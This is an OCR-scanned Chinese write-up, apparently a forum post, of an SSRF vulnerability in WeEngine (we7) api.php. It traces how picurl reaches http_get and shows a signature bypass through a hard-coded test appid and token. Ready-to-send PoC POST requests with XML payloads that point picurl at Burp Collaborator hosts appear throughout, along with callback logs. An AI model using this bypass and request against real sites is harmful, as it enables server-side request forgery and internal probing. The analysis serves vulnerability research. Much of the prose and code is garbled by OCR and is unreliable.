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(RS IT 2 B AR RS getshell I72]
(https://mp.weixin.qg.com/s/rSP8LQAJpIkP-ANIjkofSsA), 4227 BliX @ X E vi...

MERFIRAIAEATEE SSRF iRA

Ox0 RIS

RIBEIT 2 R EBEABRMA S getshell 1352
(https://mp.weixin.qg.com/s/rSP8LQJplIkP-AhljkofbsA) |, L2 7 BliXfm X & v1.8.2
AR, ERDZE— &R v2.7.6 18X iR LEBGAI R E SSRF, TRiE &
REIEN, TEEHE FECHEITTR,

5 X BB REIFRF AR

Ox1 RZMIhRZ

NN Z 2 BAREEFARAY, NI AERANBLINELARR, TERM
V1.8.2 IRAFHA DT AELIEER v2.7.6 WA, EMELEXIMNAY POC,

0x2 A=
V1.8.2 IR AR G2 B 5 MR B F X4 api.php

062 line: analyzeImage }X ﬁﬁ[ BHiZE ¢$messagel'picurl'l B ihttp_get PRIZEA,

EERIBRENINEN DN, XTRBEXRBT crl 1BEXHIXREBIRFEAY, LRI
FJ1% $message['picurl’] %B/A XBHE2— TXFTRMN, E2%EEN
SSRFE,
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XMIRER IS UEditor SSRF (https://paper.seebug.org/606/) ZA~
Z, AIXTET Blind Z£E88],

function analyzelImage(&$message) {
ad ()—>func('communication');
(Smessage[ picurl'l)) {

ttp c($message['picurl']);
)1

( response[ content']);
t('menu_event', array('picmd5' => $md5), array('keyword', 'type'));

(sevent['keyword" ])) ﬂ

elete('menu_event', array('picmd5' => $md5));

$event = pdo_get('menu_event', array('openid' => $messagel['from'l), array('keyword', 'type')

if (lempty($event)) {
$message['content'] = $event['keyword'];
$message['eventkey'] = $event['keyword'];
$message['type'] = 'text';
$message[‘event'] = Sevent[ type 17
$messagel’ redlrectlon 1=
$message['source’ $event[" type 15
return $ —>analyzeText($message) ;

}

}

return $ —>handler('image');

HATE—T, $message = AT

function start() {
$_W;
if(empty($ —>account)) {
exit('Miss Account.');
}

//var_dump($this- >account)
if (1$this—>account—>ch

exit('Check Sign Fail.
}

if(strtolower($_SERVER['REQUEST_METHOD']) == 'get') {
$row = array();
$row['isconnect'] = 1;
date('account', $row, array('acid' => $_W['acid'l));
tem_key('uniaccount', array('uniacid' => $_W['uniacid'l)));
s($_GET['echostr']l));

($_ SERVER[ REQUEST METHOD']) == 'post') [
f 1ts (' php: //1nput );
”-(S _GET['encrypt_type']) & $_GET['encrypt_type']l == 'aes') {
$postStr = § —>account—>decryp g($postStr);

WeUtility::logaing('trace'. $postStr):
=$ —>account—>parse($postStr);

PIEFE start REEEFFRE T POST AR A/GH . $this—>account-
>parse RIS T RET

DR lina: T35 1€ vamainrb /el ace Incraint Inmcannt ~lace nhn B8 navea BEOEL
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public function parse($message) {

IR x ml2array |, (REBELEHENT x ml BNAS, MEBEH X HERA
(https://www.kancloud.cn/donknap/we7/134649) EEF4A YL TERZEM),

function xml2array($xml) {
if (empty($xml)) {
return array();
H
$result = array():
$xmlobj =|isimplexml_load_string($xml, class_name: *SimpleXMLElement', options: LIBXML_NOCDATA); I
if($xmlobj instanceof SimpleXMLElement) {
$result = json_decode(json_encode($xmlobj), true);
if (is_array($result)) {
return $result;
} else {
return **

9 +
} else {]
return $result;
¥

1

(https://shs3.b.qgianxin.com/attack_forum/2021/08/attach—
bb730e8b0b1bd1239431181e5b2fb8bad23a6705.png)

) XEBRAILAFAE $message['picurl'] EEIEM POST WEIER PIREVA G IRE
FENIRENE inttp_get RELRY, MMIEAL T SSRF ®IEA,

TNEMENCHTIFBFRA

0x3 fA il

HFA1I505) http://localhost:8887/wq2/wq2/api.php , EIHIREEEDRIERE, &
TEMEIHNE start() REL,
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i

}
if(empty($id)) {

$id = intval($_GPC['id']);
}

if (lempty($id)) {
$uniacid = pdo_getcolumn( tablename: 'account', array('acid' => $id), field: *uniacid');
$ W['account'] = uni_fetch($uniacid);

1

if(empty($_W['account'])) {
exit('initial error hash or id');

i
B

A X B
if(empty($_W['account']['token'])) {
exit('initial missing token');

$_W['debug'] = intval($_GPC['debug']);

$_W['acid'] = $_W['account']['acid'];

$_W['uniacid'] = $_W['account']['uniacid'];

$_W['uniaccount'] = uni_fetch($_W['uniacid']);

$ W['account']['groupid'] = $_W['uniaccount']['groupid'];

$_W['account'] ['qrcode’] = $ W['attachurl'].'qrcode '.$ W['acid']."'.jpg?time=".$_W['timestamp'];
$
$

_W['account'] ['avatar'] = $_W['attachurl'].'headimg_'.$_W['acid'].'.jpg?time=".$_W['timestamp'];

_W['attachurl'] = attachment_set_attach_url();

visit_update_today( type: 'web', module_name: 'we7_api');

$engine = new WeEngine();
if (lempty($ _W['setting']['copyright']['status'])) {
$engine—>died( content: 'IffR, IREXH, XHRE: ' . $_W['setting']['copyright']['reason']);

}
if (!empty($_W['uniaccount'] ['endtime']) && TIMESTAMP > $_W['uniaccount']['endtime']) {
$engine—>died( content: 'R, WHLRSEITH, BFRNKAEER");

if($_W['isajax'] && $_W['ispost'] & $_GPC['flag'] == 1) {
$engine—>encrypt();

¥

if($_W['isajax'] && $_W['ispost'] && $_GPC['flag'] == 2) {
$engine—>decrypt();

}

load()—>func( compat biz');

alse;

sengine->starg(); B R Estart

2SI IEAR, ASLhRE SR,

global $_W;

WIT1E N api.php?appid=wx570bc396a51b8Ff8 , {FREALINAEIE H—1
$_Wl'account'] H3K, T EEIPMIRENIAN AR IAET HIMA,

if (lempty($message)){

Q|‘7HQ$F:'1_|—K.—_E ;Kiﬁiﬁég'\l# ¢thic—~arrniint—~rharkQinn() él%éiﬁﬁ;#
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public function start() {
global $_W; $_W: {config => [4], timestamp => 1623748378, charset =>"
if (empty($this—>account)) {
exit('Miss Account.');

[ J

) { account: WeixinPlatform

IUES, X1 Sign HLZEIEN, FIHREN 3 MEEDHIY stoken,
$_GET['timestamp']l, $_GET['nonce'l , 1IXE stoken T2 L EHIEFINENEEE
7 platformtestaccount , EMFHTAME N EEIEN

29 line: f ramework/class/account/weixin.account.class.php HY checkSign [REN

public function checkSign() {
$token = $this—>account['token']; account: [5] $token: “platformtestaccount"
$signkey = array($token, $_GET['timestamp'], $_GET['nonce'l); $token: "platformtestaccount" $signkey: {null, null, “platformtestaccount"}[3
sort( &array: $signkey, sort_flags: SORT_STRING);
$signString = implode($signkey); $signkey: {null, null, “platformtestaccount"}[3] $signString: "976a497ee3f68bc655ddcf4e7e7aab97d117ef0a"
$signString = shal($signString);
return $signString = $_GET['signature'l; $signString: "976a497ee3f68bc655ddct4e7e7aab97d117ef0a" ]

AT TRZEIZ N signature=976a497ee3f68bc655ddcf4e7e7aab97d117efoa ElJ ] 4%

1 checkSign PRZEN,

SRIG013) api.php PZE[E FHAT, 182 line, X s$message BH{TOHT, BRFFIZEREN,

//BBRRE

private function analyze(&$message) { $message: {tousername => "toUser", fromusername => "fromlser", createtime => "12345678", msgtype => "image", picurl => “http://9hr2yalolrizjmi5vhoc31zdv4li

global § W; $_W: {config = [4], timestamp => 1623748378, charset => "utf-8", clientip => "127.0.0.1", ishttps => false, isajax => false, ispost => true, sitescheme => “http://", script_na
$params = array(); S$params: [0]
if(in_array(smessage('type'], array(‘event®, ‘qr'))) {

sparams = call_user_func_array(array($this, 'analyze' . $message['type'l), array(&$message));

if(tempty($params)) {

return (array)s$params;
¥

¥
if(lempty($_SESSION['__contextmodule']) & in, arrayts SESSION['_contextmodule'], $this->modules)) { modules: [16]
if($_SESSION['__contextexpire'] > TIMESTAMP) {
$params[] = array(
‘message’ => $message,
‘module’ => §_SESSION['_contextmodule'],
‘rule’ => $_SESSION['_contextrule'],
‘priority' => §_SESSION['_contextpriority'],
‘context’ => true

return $params; $parans: [0]
} else {
unset ($_SESSION); $_SESSION: {openid => "fromUser"}[1]
session_destroy();
¥
¥

$reply_times_info = (array)$_SESSION['__reply_times']; $_SESSTON: {openid => "fromUser"}[1] $reply_times_info: [0]
if (lempty($_W['account']['setting']) & !empty(Sreply_times_info) && intval(s_W['account']['setting']['reply_setting'l) > 0 & strtotime($reply_times_infol'date']) >= strtotime(date( format
exit('success');

if[method_exists($this, method_name: 'analyze' . $message['type'])) {
pe'l), array(&$message)); $message: {tousername =>"toUser",

fromusername => "fromUser", createtime => "12345678", ms

if (lempty(stemp) && is_array($temp)){

R XEHATT EEBHE , 3751 Manalyze image K

b
} else {
Snarams += §this->handler(Smessanel'tvna'1):

BEAMESHENFAN] LIAFA A analyzeImage AN, 1&5L SSRF,

/

0x4 POC I&uF
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run vunauviaws nnsavuune
Poll every | 60 seconds | Pollnow |
# Time Type Payload Comment
14 2021-Jun-15 09:26:26 UTC HTTP 13pekm70n3nb5y4hhtmopdiphgndby
15 2021-Jun-15 09:26:25 UTC DNS 13pekm70n3nb5y4hhtmopdiphgn9by
Description Request to Collaborator Response from Collaborator
prety I3 Hex \n = INSPECTOR

SSRF-King

@ X Logger

POST /wq2/wq2/api. phd?appld“wx570bc395a 1b8££8&s1 76a497ee3t. 7

HTTP/1.1 200 OK

Host: localhost:8887
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/2010010
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0
Accept-Language: zh-CN,zh;q=0.8,2zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

X-Forwarded-For: 127.0.0.1

X-Originating-: (Ip: 127.0.0.1

11 X-Remote-IP:

12 X onemoteonadr: 127.000.1
13 Content-Type: application/x-www-form-urlencoded
14 Content-Length: 277

ComunUawNE

16 <xml>
17 <ToUserName>
<! [CDATA[ toUser]]>
</ToUserName>
18  <FromUserName>
<![CDATA[ fromUser]]>
</FromUserName>
19 <CreateTime>
12345678
</CreateTime>
20  <MsgType>
<![CDATA[image]]>
</MsgType>
21 <picurl>
<!\CDAT4\dttp://Ssrt.l}pekm73n3nzSy4hhtTopdlpﬁqn?zy.burpcollaborutar.net/]]>
</picurl>

P ABEIME MMETL, (Er]pIARA

$message = x ml2array($message);

Ox5 i3 |o]) 5

Server: Apache

Expires: Thu, 19
Cache-Contr

Date: Tue, 15 Jun 2021 09:26:21 GMT

X-Powered-By: PHP/7.1.8
Set-Cookie: PHPSESSID=9ea9f072c6cafd489d95fe18616b81bd; path=

Nov 1981 08:52:00 GMT

Pragma: no-cache

© oW N

10 Content-Type: te:
11 Content-Length:

13

Connection: close

xt/html charset=utf-8

WEEE T — T Gitee LIZRAFRITRHHAR 2.7.6 89183 api.php
(https://gitee.com/we7coreteam/pros/blob/master/api.php)

F1ERY,

https://forum.butian.net/share/179

lidate

2 s pekm70n3nb5y4hhtmopdlphqn9by burpcollaborator.net
A Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Request Headers (3) v
: tses7  (2)
@@}\(—\ - |[ search.. 0 highlights | =
@ x
| Close |

== wameters (2) v

Request Cookies (0) v

<

Request Headers (13)

Response Headers (10) v

j%iz }iJ /fﬁ% /[_] Al \
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C @ gitee.com/we7coreteam/pros/blob/master/api.php

7/\_,\

G gitee mRuH Uk

return array();

private function analyzeImage(&$message) {

load()->func('communication');

A2 e DX - DR B B R

B H 4 TE 6] B SSRFR IR

if (!empty($message[ 'picurl'])) {
$response F http_get($message[ 'picurl']);

if (!empty($response)) {
$md5 = md5($response[ 'content']);
$event = pdo_get( 'menu_event',

if (!empty($event['keyword'])) {

array('picmd5' => $md5), array('keyword',

‘type'));

pdo_delete( 'menu_event', array('picmd5' => $md5));

} else {

$event = pdo_get('menu_event', array('openid' => $message['from']), array('keyword',6 'type'));
}
if (!empty(S$event)) {

$message[ 'content'] = $event[ 'keyword'];

$message[ 'eventkey'] = $event[ 'keyword'];

$message[ 'type'] = 'text';

$message[ 'event'] = $event['type'];

$message[ 'redirection'] = true;

$message([ 'source'] = $event['type'];

return $this->analyzeText ($message);

}

return $this->handler('image');

BREIEM L3 T &=

g e e o —

1°0ST /api.php?appid=ux570bc396a51b8£ £8&signature=976ad97ee3£68bc655ddcEdeTe7aab97dl17ef0all BT

2 lost:

3 iser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0

4ccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
\ccept-Language: zh-CN,zh;q=0.8,zh~TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

\ccept-Encoding: gzip, deflate

‘onnection: close
grads-Tnsectre-Requests: 1

orwarded-For: 127.0.0.1

tent-Type: appllcatlon/x—www—form—urlencoded
tent-Length: 27

6 xml>
<ToUserName>

<FromUserName>
<L [CoATA[ £ronUser ] ]>
</FromUserName
<CreateTime>
12345678
</CreateTime>

I[CDATA[ image] ]>

</MsgType>

<picurl>
<1[CDATA[http://9hr2yalolrlzjmi5vh0c31zdv4lwpl.burpcollaborator.net/]]>

</picurl>

2 t/xmi>

SR —LESE, PIMSREIREZIZHEN start EFIER 7, BT

M) MEEZ2E

https://forum.butian.net/share/179

ZATARAVIATT 71, RINFH A I,

HTTR/2 200 OK
Server: nginx
Date: Tue, 15 Jun 2021 07:46:35 GMT
Content-Type: text/html; charset=utf-8
vVary: Accept-Encoding
Strict-Transport-Security: max-age=31536000
<xml>
<Nonce>
<I[CDATA[]]>
</Nonce>
<TimeStamp>
<1[CDATA[]]>
</TimeStamp>
<Encrypt>
<1 [CDATA[ItfNrz1 q 1 1UFi
</Encrypt>
<MsgSignature>
<1[CDATA[5e4£2614d72e0£66e422232b6e1££46bbbdb822£]]>
</MsgSignature>
</xm1>

BEXMEARITRKRT , EENRR
AT EZ T,

o debug &
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A1, $this->account = WeAccount::create($_W['account'l); BI=IFAZEX
getAccountInfo AL, XEXNNERIMINA M T T AIB, SEHEANT sthis-
>openPlatformTestCase(); MIX THRMEZE EENT exit() , PIUXERFIA
B K

$packet = iarray_change_key_case($message, CASE_LOWER);

Ox6 f#FR(a)&

@@J api.php

$hash = $_GPC['hash'];
if(lempty($hash)) {
$id = pdo_fetchcolumn( sql: "SELECT acid FROM " . tablename( table: 'account') . " WHERE hash = :hash", array(':hash' => $hash));

}
if(lempty($_GPC['appid'])) {
$appid = Utrim($_GPC['appid'], charlist: '/*);
if ($appid == 'wx570bc396a51b8ff8') {
$_W['account'] = array(
‘type' => '3',
‘key' => 'wx570bc396a51b8ff8',
‘level' => 4,
"token' => ‘platformtestaccount’
)i
} else {
$id = pdo_fetchcolumn( sql: “SELECT acid FROM " . tablename( table: 'account_wechats') . " WHERE ‘key' = :appid", array(':appid' => $appid));
if (empty($id)) {
$id = table( name: 'account_wxapp')->where( condition: 'key', $appid)->getcolumn( field: 'acid');
b

¥

¥
if(empty($id)) {
$id = intval($_GPC['id']);

}
if (lempty($id)) {
$uniacid = pdo_getcolumn( tablename: 'account’, array('acid' => $id), field: 'uniacid');
if (visit_app_pass_visit_limit($uniacid)) {
exit('success');

- $_W['account'] = $_W['uniaccount'] = uni_fetch($uniacid);

if(empty($_W['account'])) {

B DAERIRR TN A, AT DUBIE AN $id KIREX account, R
uni_fetch IZ@QO

* REEER —AS TERIAFSHNER
* @param int $uniacid AMRSID
* @return array 4HeiAMRSER
*/
function uni_fetch($uniacid = @) { Suniacid: 1
global $ W; $_W: {config => [4], timestamp => 1623753791, charsel
$uniacid = empty($uniacid) ? $ _W['uniacid'] : intval($uniacid); 9
$account_api = WeAccount::createByUniacid($uniacid); Suniacid: 1
if (is_error($account_api)) {

return $account_api;
}
$account_api—>__ toArray();
$account_api['accessurl'] = $account_apil'manageurl'] = wurl( segn
$account_apil['roleurl'] = wurl( segment: 'account/post-user/edit’,
return $account_api;

18 account SREY id=1 BUE 2

public static function createByUniacid($uniacid = @) { S$uniacid: 1
global $_W; $_W: {config => [4], timestamp => 1623753791, charsetr=> "utf-8", clientip => "127.0.0.1", ishttps
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AR BRI DX I ST R 5 S AR TE I (2 SSRF
HMEETEL| = intval($uniacid) > @ ? intval($uniacid) : $_W['uniacid'l;
if (!empty(self::$accountObj[$uniacid])) {
return self::$accountObj [$uniacid];
}

$uniaccount = table( name: 'account')J[>getUniAccountByUniacid($uniacid); $lmiaccount: {acid => "
if (empty($uniaccount)) {
return error( errno: *=1', message: ‘KSR FEXLRCEHEMER");

}
load()->model( name: 'permission');

if (lempty($_W['uid']) && !$_W['isadmin'] && !permission_account_user_role($_W['uid'], $uniacid)) { & _W:

return error( errno: *=1', message: 'FAREIEIZERIWKS"');

return self::create($uniaccount); $uniaccount: {acid == "1", uniacid == '

, hash => "uRr8qvQV", type =>

, uniacid =>

{conf

PREIRTNE, 2RI &I token HELTEMEE T ims_core_cache &9, HHR

BlE——D, X Token EZEER.

X MEEEM /datasdo.php RERAY, FIZEAIBHAIROAEUE, WIEAXD
EAZRENEMB, FIEMAEZE—HE,

UEEIEIEEE AN

| 4 Scachedata = "ai2 1i{s:4:"acid";s:1"1"s:7-"uniacid";s:1:"1"s:5"token";s:32"om JNpZEhZeHj1ZxFECKkP48B5 VFbk 1 HP"s:14:"encodingae:

o Skey = "we7:wniaccount:1"

cache.mysgl.func.php:18, cache_read)
D) cache.func.php:59, cache._load()
1B account.class.php:112, WeAccount->__construct()

1B account.class.php:203, WeAccount::includes(

18 account.class.php:165, WeAccount::create()

18 account.class.php:191, WeAccount::createByUniacid(
63 account.mod.php:396, uni_fetch)

51 api.php:43, (mainj0 © Constants

FTAF TR ZEEFIREN— T signature #1717, EIZO®

public function checkSign() {
$token = $this->account['token']; account: [37] $token: “omINpZEhZeHj1ZxFECKKPA8B5VFbkIHP"
$signkey = array($token, $_GET['timestamp'], $_GET['nonce'l); $token: "omINpZEhZeHj1ZxFECKKP48B5VFbkIHP" $signkey: {null, null, "omJNpZEhZeHj1ZxFECKkP48B5VFbk1HP"}[3]
sort( &array: $signkey, sort_flags: SORT_STRING);
$signString = implode($signkey); $signkey: {null, null, “omINpZEhZeHj1ZxFECKkP48B5VFbkIHP"}[3] $signString: "5f06d7a4d508cleced2f8b7ele3ad7d6c88a123e"
$signString = shal($signString);

. View JE3

Ox7 ¥ POC

LGN Raw Hex \n = C:

1 POST /va2/pros/apl phi?id-lisi 7TdetBalie +“” 3 Number to generate: [ Copy to clipboard | [ Include Collaborator server location

3 it Holela/S 0 (Macintosh; Intel Mac OS X 10. 15- 189.0) Gecko/zol(l(lll)l Fu’e

3 . )

5 AT, 2hia0.8, - i R i s AP Poll Collaborator interactions

6 2ip, deflats

7 ion:

7 |Gommaceion: clous o cussta: 1 Poll every | 60 seconds | Pollnow |

9 X-Forwarded-For: 127.0. (l 1

10 X-Originating-Ip: 127.0. h

1 P N RN # Time Type Payload Comment

12 | Remote hddr: “Z:“"’" 33 2021-Jun-1511: HTTP 13pekm70n3nbSy4hhtmopdiphgnby

14 Content-Length: 277 34 2021-Jun-15 11:13: DNS 13pekm?70n3nbSy4hhtmopdiphgn9by

16 <xml> 35  2021-Jun-15 11:13:51 UTC DNS 13pekm70n3nbSy4hhtmopdiphgnaby

v “'E'f?ggﬂ;‘;f;nmw 36 2021-Jun-15 11:13:51 UTC HTTP 13pekm70n3nbSy4hhtmopdiphgn9by
</Tousernam

18 <FromUserName
< TCORTA FramUser] 1>

</FromUser?
19 <CreateTimes
PPt Description  Request to Collaborator  Response from Collaborator
20 <sgType>
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